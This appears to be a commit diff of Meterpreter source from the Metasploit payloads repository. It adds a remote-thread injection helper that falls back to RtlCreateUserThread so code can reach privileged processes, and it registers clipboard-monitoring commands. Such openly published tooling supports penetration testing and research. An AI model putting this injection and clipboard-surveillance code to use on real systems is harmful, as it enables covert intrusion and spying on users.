1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-24 18:16:24 +01:00

Pulled in master and added a fallback for the SID stuff

I just realised I shouldn't have done that in a merge commit.

Conflicts:
	workspace/ext_server_extapi/ext_server_extapi.vcxproj
This commit is contained in:
OJ 2014-02-28 13:32:37 +10:00
commit 62140f8fa1
20 changed files with 2248 additions and 638 deletions

@ -9,13 +9,16 @@ This is the new repository for the Meterpreter [source], which was originally in
Building - Windows Building - Windows
================== ==================
As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is built As of commit a2888b1b4862819c9aae81bf46d8c92d8164c598, Meterpreter is
with [Visual Studio 2013 Express for Desktop][vs_express] or any paid version built with [Visual Studio 2013 Express for Desktop][vs_express] or any
of [Visual Studio 2013][vs_paid]. Earlier toolsets on Windows are no longer paid version of [Visual Studio 2013][vs_paid]. Earlier toolsets on
supported -- this includes Visual Studio 2012. Make sure that the version that Windows are no longer supported -- this includes Visual Studio 2012.
you download is `Visual Studio Express 2013 for Windows Desktop`. If you are Make sure that the version that you download is `Visual Studio Express
using a dedicated build machine, your best bet is to uninstall Visual Studio 2013 for Windows Desktop` -- dependng on your operating system, if you
2012 if your only project is Meterpreter. get the wrong version of VS2013, the installer will complain about
needing "a more recent version of Windows." If you are using a dedicated
build machine, your best bet is to uninstall Visual Studio 2012 if your
only project is Meterpreter.
Visual Studio 2013 requires .NET 4.5.1 in order to run, and as a result isn't compatible Visual Studio 2013 requires .NET 4.5.1 in order to run, and as a result isn't compatible
with Windows XP due to the fact that .NET 4.5 will not run on Windows XP. However, this with Windows XP due to the fact that .NET 4.5 will not run on Windows XP. However, this

@ -15,6 +15,8 @@ SET PREF=
IF EXIST "..\pssdk\PSSDK_VC%PSSDK_VER%_LIB\_Libs\pssdk_vc%PSSDK%_mt.lib" SET PREF=r7_ IF EXIST "..\pssdk\PSSDK_VC%PSSDK_VER%_LIB\_Libs\pssdk_vc%PSSDK%_mt.lib" SET PREF=r7_
IF "%1"=="x86" GOTO BUILD_X86 IF "%1"=="x86" GOTO BUILD_X86
IF "%1"=="X86" GOTO BUILD_X86
IF "%1"=="x64" GOTO BUILD_X64
IF "%1"=="X64" GOTO BUILD_X64 IF "%1"=="X64" GOTO BUILD_X64
ECHO "Building Meterpreter x64 and x86 (Release)" ECHO "Building Meterpreter x64 and x86 (Release)"

@ -1,5 +1,6 @@
#include "common.h" #include "common.h"
#include "base_inject.h" #include "base_inject.h"
#include "../remote_thread.h"
#include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" #include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h"
#include <Tlhelp32.h> #include <Tlhelp32.h>
@ -420,59 +421,66 @@ DWORD inject_via_remotethread_wow64( HANDLE hProcess, LPVOID lpStartAddress, LPV
/* /*
* Attempte to gain code execution in the remote process by creating a remote thread in the target process. * Attempte to gain code execution in the remote process by creating a remote thread in the target process.
*/ */
DWORD inject_via_remotethread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) DWORD inject_via_remotethread(Remote * remote, Packet * response, HANDLE hProcess, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter)
{ {
DWORD dwResult = ERROR_SUCCESS; DWORD dwResult = ERROR_SUCCESS;
DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD; DWORD dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREAD;
HANDLE hThread = NULL; HANDLE hThread = NULL;
DWORD dwThreadId = 0;
do do
{ {
// Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread // Create the thread in the remote process. Create suspended in case the call to CreateRemoteThread
// fails, giving us a chance to try an alternative method or fail migration gracefully. // fails, giving us a chance to try an alternative method or fail migration gracefully.
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, CREATE_SUSPENDED, &dwThreadId ); hThread = create_remote_thread(hProcess, 1024 * 1024, lpStartAddress, lpParameter, CREATE_SUSPENDED, NULL);
if( !hThread ) if (!hThread)
{ {
if( dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64 ) if (dwMeterpreterArch == PROCESS_ARCH_X86 && dwDestinationArch == PROCESS_ARCH_X64)
{ {
// injecting x86(wow64)->x64, (we expect the call to kernel32!CreateRemoteThread to fail and bring us here).
dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64; dwTechnique = MIGRATE_TECHNIQUE_REMOTETHREADWOW64;
if( inject_via_remotethread_wow64( hProcess, lpStartAddress, lpParameter, &hThread ) != ERROR_SUCCESS ) if (inject_via_remotethread_wow64(hProcess, lpStartAddress, lpParameter, &hThread) != ERROR_SUCCESS)
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed" ) {
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: migrate_via_remotethread_wow64 failed")
}
} }
else else
{ {
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: CreateRemoteThread failed" ) BREAK_ON_ERROR("[INJECT] inject_via_remotethread: CreateRemoteThread failed")
} }
} }
else
if( remote && response )
{ {
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response..." ); dprintf("[INJECT] inject_via_remotethread: succeeded");
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique );
packet_transmit_response( ERROR_SUCCESS, remote, response );
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds..." );
// Sleep to give the remote side a chance to catch up...
Sleep( 2000 );
} }
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread..." ); if (remote && response)
{
dprintf("[INJECT] inject_via_remotethread: Sending a migrate response...");
// Send a successful response to let the ruby side know that we've pretty
// much successfully migrated and have reached the point of no return
packet_add_tlv_uint(response, TLV_TYPE_MIGRATE_TECHNIQUE, dwTechnique);
packet_transmit_response(ERROR_SUCCESS, remote, response);
dprintf("[INJECT] inject_via_remotethread: Sleeping for two seconds...");
// Sleep to give the remote side a chance to catch up...
Sleep(2000);
}
dprintf("[INJECT] inject_via_remotethread: Resuming the injected thread...");
// Resume the injected thread... // Resume the injected thread...
if( ResumeThread( hThread ) == (DWORD)-1 ) if (ResumeThread(hThread) == (DWORD)-1)
BREAK_ON_ERROR( "[INJECT] inject_via_remotethread: ResumeThread failed" ) {
BREAK_ON_ERROR("[INJECT] inject_via_remotethread: ResumeThread failed")
}
} while( 0 ); } while (0);
if( hThread ) if (hThread)
CloseHandle( hThread ); {
CloseHandle(hThread);
}
SetLastError( dwResult ); SetLastError(dwResult);
return dwResult; return dwResult;
} }

@ -0,0 +1,94 @@
#include "common.h"
#include "remote_thread.h"
/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */
typedef struct _MIMI_CLIENT_ID {
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENTID;
/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */
typedef NTSTATUS (WINAPI * PRtlCreateUserThread)(HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T, SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE, CLIENTID*);
/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */
static PRtlCreateUserThread pRtlCreateUserThread = NULL;
/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */
static BOOL pRtlCreateUserThreadAttempted = FALSE;
/*!
* @brief Helper function for creating a remote thread in a privileged process.
* @param hProcess Handle to the target process.
* @param sStackSize Size of the stack to use (if unsure, specify 0).
* @param pvStartAddress Pointer to the function entry point that has been loaded into the target.
* @param pvStartParam Pointer to the parameter to pass to the thread function.
* @param dwCreateFlags Creation flags to use when creating the new thread.
* @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).
* @return Handle to the new thread.
* @retval NULL Indicates an error, which can be retrieved with \c GetLastError().
* @remark This function has been put in place to wrap up the handling of creating remote threads
* in privileged processes across all operating systems. In Windows XP and earlier, the
* \c CreateRemoteThread() function was sufficient to handle this case, however this changed
* in Vista and has been that way since. For Vista onwards, the use of the hidden API function
* \c RtlCreateUserThread() is required. This function attempts to use \c CreateRemoteThread()
* first and if that fails it will fall back to \c RtlCreateUserThread(). This means that the
* existing behaviour is kept for when running on XP and earlier, or when the user is already
* running within a privileged process.
*/
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)
{
NTSTATUS ntResult;
BOOL bCreateSuspended;
DWORD dwThreadId;
HANDLE hThread;
if (pdwThreadId == NULL)
{
pdwThreadId = &dwThreadId;
}
hThread = CreateRemoteThread(hProcess, NULL, sStackSize, (LPTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, dwCreateFlags, pdwThreadId);
// ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs
// on Vista and later.
if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)
{
dprintf("[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options");
hThread = NULL;
// Only attempt to load the function pointer if we haven't attempted it already.
if (!pRtlCreateUserThreadAttempted)
{
if (pRtlCreateUserThread == NULL)
{
pRtlCreateUserThread = (PRtlCreateUserThread)GetProcAddress(GetModuleHandleA("ntdll"), "RtlCreateUserThread");
if (pRtlCreateUserThread)
{
dprintf("[REMOTETHREAD] RtlCreateUserThread found at %p, using for backup remote thread creation", pRtlCreateUserThread);
}
}
pRtlCreateUserThreadAttempted = TRUE;
}
// if at this point we don't have a valid pointer, it means that we don't have this function available
// on the current OS
if (pRtlCreateUserThread)
{
dprintf("[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread");
bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;
ntResult = pRtlCreateUserThread(hProcess, NULL, bCreateSuspended, 0, 0, 0, (PTHREAD_START_ROUTINE)pvStartAddress, pvStartParam, &hThread, NULL);
SetLastError(ntResult);
if (ntResult == 0 && pdwThreadId)
{
*pdwThreadId = GetThreadId(hThread);
}
}
else
{
// restore the previous error so that it looks like we haven't done anything else
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
}
}
return hThread;
}

@ -0,0 +1,6 @@
#ifndef _METERPRETER_REMOTE_THREAD_H
#define _METERPRETER_REMOTE_THREAD_H
HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId);
#endif

@ -81,7 +81,7 @@ char* bytes_to_string(LPBYTE bytes, DWORD count, char* byteFormat = "%02x", DWOR
return NULL; return NULL;
} }
size_t delimLen = strlen(delim); size_t delimLen = delim != NULL ? strlen(delim) : 0;
size_t requiredSize = count * byteFormatMaxLen + (count - 1) * delimLen + 1; size_t requiredSize = count * byteFormatMaxLen + (count - 1) * delimLen + 1;
char* string = (char*)malloc(requiredSize); char* string = (char*)malloc(requiredSize);
char* csr = string; char* csr = string;
@ -90,7 +90,7 @@ char* bytes_to_string(LPBYTE bytes, DWORD count, char* byteFormat = "%02x", DWOR
{ {
for (DWORD i = 0; i < count; ++i) for (DWORD i = 0; i < count; ++i)
{ {
if (i != 0) if (i != 0 && delimLen > 0)
{ {
csr += sprintf_s(csr, delimLen + 1, "%s", delim); csr += sprintf_s(csr, delimLen + 1, "%s", delim);
} }
@ -379,6 +379,15 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols,
strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1); strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1);
LocalFree(s); LocalFree(s);
} }
else
{
s = bytes_to_string(psd->lpValue, psd->dwLength);
if (s)
{
strncpy_s(valueTarget, VALUE_SIZE, s, VALUE_SIZE - 1);
free(s);
}
}
break; break;
} }
case ADSTYPE_DN_WITH_BINARY: case ADSTYPE_DN_WITH_BINARY:

File diff suppressed because it is too large Load Diff

@ -5,7 +5,14 @@
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H #ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H #define _METERPRETER_SOURCE_EXTENSION_EXTAPI_CLIPBOARD_H
DWORD initialise_clipboard();
DWORD request_clipboard_set_data(Remote *remote, Packet *packet); DWORD request_clipboard_set_data(Remote *remote, Packet *packet);
DWORD request_clipboard_get_data(Remote *remote, Packet *packet); DWORD request_clipboard_get_data(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet);
DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet);
#endif #endif

@ -26,6 +26,12 @@ Command customCommands[] =
COMMAND_REQ("extapi_service_query", request_service_query), COMMAND_REQ("extapi_service_query", request_service_query),
COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data), COMMAND_REQ("extapi_clipboard_get_data", request_clipboard_get_data),
COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data), COMMAND_REQ("extapi_clipboard_set_data", request_clipboard_set_data),
COMMAND_REQ("extapi_clipboard_monitor_start", request_clipboard_monitor_start),
COMMAND_REQ("extapi_clipboard_monitor_pause", request_clipboard_monitor_pause),
COMMAND_REQ("extapi_clipboard_monitor_resume", request_clipboard_monitor_resume),
COMMAND_REQ("extapi_clipboard_monitor_purge", request_clipboard_monitor_purge),
COMMAND_REQ("extapi_clipboard_monitor_stop", request_clipboard_monitor_stop),
COMMAND_REQ("extapi_clipboard_monitor_dump", request_clipboard_monitor_dump),
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query), COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_TERMINATOR COMMAND_TERMINATOR
}; };
@ -42,7 +48,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
command_register_all(customCommands); command_register_all(customCommands);
return ERROR_SUCCESS; return initialise_clipboard();
} }
/*! /*!

@ -32,7 +32,11 @@
#define TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 35) #define TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 35)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 38)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 39)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 40)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE MAKE_CUSTOM_TLV(TLV_META_TYPE_GROUP, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 41)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 42)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE MAKE_CUSTOM_TLV(TLV_META_TYPE_QWORD, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 43)
@ -42,6 +46,11 @@
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 47)
#define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48) #define TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 48)
#define TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 50)
#define TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 51)
#define TLV_TYPE_EXT_CLIPBOARD_MON_DUMP MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 52)
#define TLV_TYPE_EXT_CLIPBOARD_MON_PURGE MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 53)
#define TLV_TYPE_EXT_ADSI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 55) #define TLV_TYPE_EXT_ADSI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 55)
#define TLV_TYPE_EXT_ADSI_FILTER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 56) #define TLV_TYPE_EXT_ADSI_FILTER MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 56)
#define TLV_TYPE_EXT_ADSI_FIELD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 57) #define TLV_TYPE_EXT_ADSI_FIELD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 57)

@ -72,7 +72,8 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
do do
{ {
if (!response) { if (!response)
{
dprintf("[EXTAPI SERVICE] Unable to create response packet"); dprintf("[EXTAPI SERVICE] Unable to create response packet");
dwResult = ERROR_OUTOFMEMORY; dwResult = ERROR_OUTOFMEMORY;
break; break;
@ -84,7 +85,8 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
} while (0); } while (0);
dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
if (response) { if (response)
{
packet_transmit_response(dwResult, remote, response); packet_transmit_response(dwResult, remote, response);
} }
@ -109,14 +111,16 @@ DWORD request_service_query(Remote *remote, Packet *packet)
do do
{ {
if (!response) { if (!response)
{
dprintf("[EXTAPI SERVICE] Unable to create response packet"); dprintf("[EXTAPI SERVICE] Unable to create response packet");
dwResult = ERROR_OUTOFMEMORY; dwResult = ERROR_OUTOFMEMORY;
break; break;
} }
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME); lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
if (!lpServiceName) { if (!lpServiceName)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_BAD_ARGUMENTS); BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_BAD_ARGUMENTS);
} }
@ -126,7 +130,8 @@ DWORD request_service_query(Remote *remote, Packet *packet)
} while (0); } while (0);
dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
if (response) { if (response)
{
packet_transmit_response(dwResult, remote, response); packet_transmit_response(dwResult, remote, response);
} }
@ -156,32 +161,38 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
do do
{ {
dprintf("[EXTAPI SERVICE] Loading advapi32.dll"); dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) { if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
} }
dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA"); dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) { if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
} }
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle"); dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) { if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
} }
dprintf("[EXTAPI SERVICE] Searching for OpenServiceA"); dprintf("[EXTAPI SERVICE] Searching for OpenServiceA");
if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL) { if ((pOpenServiceA = (POPENSERVICEA)GetProcAddress(hAdvapi32, "OpenServiceA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll."); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenServiceA in advapi32.dll.");
} }
dprintf("[EXTAPI SERVICE] Opening the Service Control manager"); dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager");
} }
dprintf("[EXTAPI SERVICE] Opening the Service: %s", cpServiceName); dprintf("[EXTAPI SERVICE] Opening the Service: %s", cpServiceName);
if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { if ((scService = pOpenServiceA(scManager, cpServiceName, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
{
dwResult = GetLastError(); dwResult = GetLastError();
dprintf("[EXTAPI SERVICE] Unable to open the service: %s (%u)", cpServiceName, dwResult); dprintf("[EXTAPI SERVICE] Unable to open the service: %s (%u)", cpServiceName, dwResult);
break; break;
@ -192,15 +203,18 @@ DWORD query_service(LPCSTR cpServiceName, Packet *pResponse)
} while (0); } while (0);
if (scService && pCloseServiceHandle) { if (scService && pCloseServiceHandle)
{
pCloseServiceHandle(scService); pCloseServiceHandle(scService);
} }
if (scManager && pCloseServiceHandle) { if (scManager && pCloseServiceHandle)
{
pCloseServiceHandle(scManager); pCloseServiceHandle(scManager);
} }
if (hAdvapi32) { if (hAdvapi32)
{
FreeLibrary(hAdvapi32); FreeLibrary(hAdvapi32);
} }
@ -237,28 +251,33 @@ DWORD enumerate_services(Packet *pResponse)
do do
{ {
dprintf("[EXTAPI SERVICE] Loading advapi32.dll"); dprintf("[EXTAPI SERVICE] Loading advapi32.dll");
if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL) { if ((hAdvapi32 = LoadLibraryA("advapi32.dll")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to load advapi32.dll");
} }
dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA"); dprintf("[EXTAPI SERVICE] Searching for OpenSCManagerA");
if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL) { if ((pOpenSCManagerA = (POPENSCMANAGERA)GetProcAddress(hAdvapi32, "OpenSCManagerA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate OpenSCManagerA in advapi32.dll");
} }
dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle"); dprintf("[EXTAPI SERVICE] Searching for CloseServiceHandle");
if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL) { if ((pCloseServiceHandle = (PCLOSESERVICEHANDLE)GetProcAddress(hAdvapi32, "CloseServiceHandle")) == NULL)
{
dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway."); dprintf("[EXTAPI SERVICE] Unable to locate CloseServiceHandle in advapi32.dll. Continuing anyway.");
} }
dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA"); dprintf("[EXTAPI SERVICE] Searching for EnumServicesStatusExA");
if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL) { if ((pEnumServicesStatusExA = (PENUMSERVICESSTATUSEXA)GetProcAddress(hAdvapi32, "EnumServicesStatusExA")) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll."); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to locate EnumServicesStatusExA in advapi32.dll.");
} }
// TODO: add support for other machine names so that this instance can query other machines on the network. // TODO: add support for other machine names so that this instance can query other machines on the network.
dprintf("[EXTAPI SERVICE] Opening the Service Control manager"); dprintf("[EXTAPI SERVICE] Opening the Service Control manager");
if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL) { if ((scManager = pOpenSCManagerA(NULL, SERVICES_ACTIVE_DATABASEA, SC_MANAGER_CONNECT | GENERIC_READ)) == NULL)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager"); BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to open the service control manager");
} }
@ -269,7 +288,8 @@ DWORD enumerate_services(Packet *pResponse)
{ {
pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc(dwBytesNeeded); pSsInfo = (ENUM_SERVICE_STATUS_PROCESSA*)malloc(dwBytesNeeded);
if (!pSsInfo) { if (!pSsInfo)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory"); BREAK_ON_ERROR("[EXTAPI SERVICE] Out of memory");
} }
@ -277,7 +297,8 @@ DWORD enumerate_services(Packet *pResponse)
&dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL); &dwBytesNeeded, &dwServicesReturned, &dwResumeHandle, NULL);
} }
if (!bResult) { if (!bResult)
{
BREAK_ON_ERROR("[EXTAPI SERVICE] Failed to enumerate services"); BREAK_ON_ERROR("[EXTAPI SERVICE] Failed to enumerate services");
} }
@ -292,15 +313,18 @@ DWORD enumerate_services(Packet *pResponse)
} while (0); } while (0);
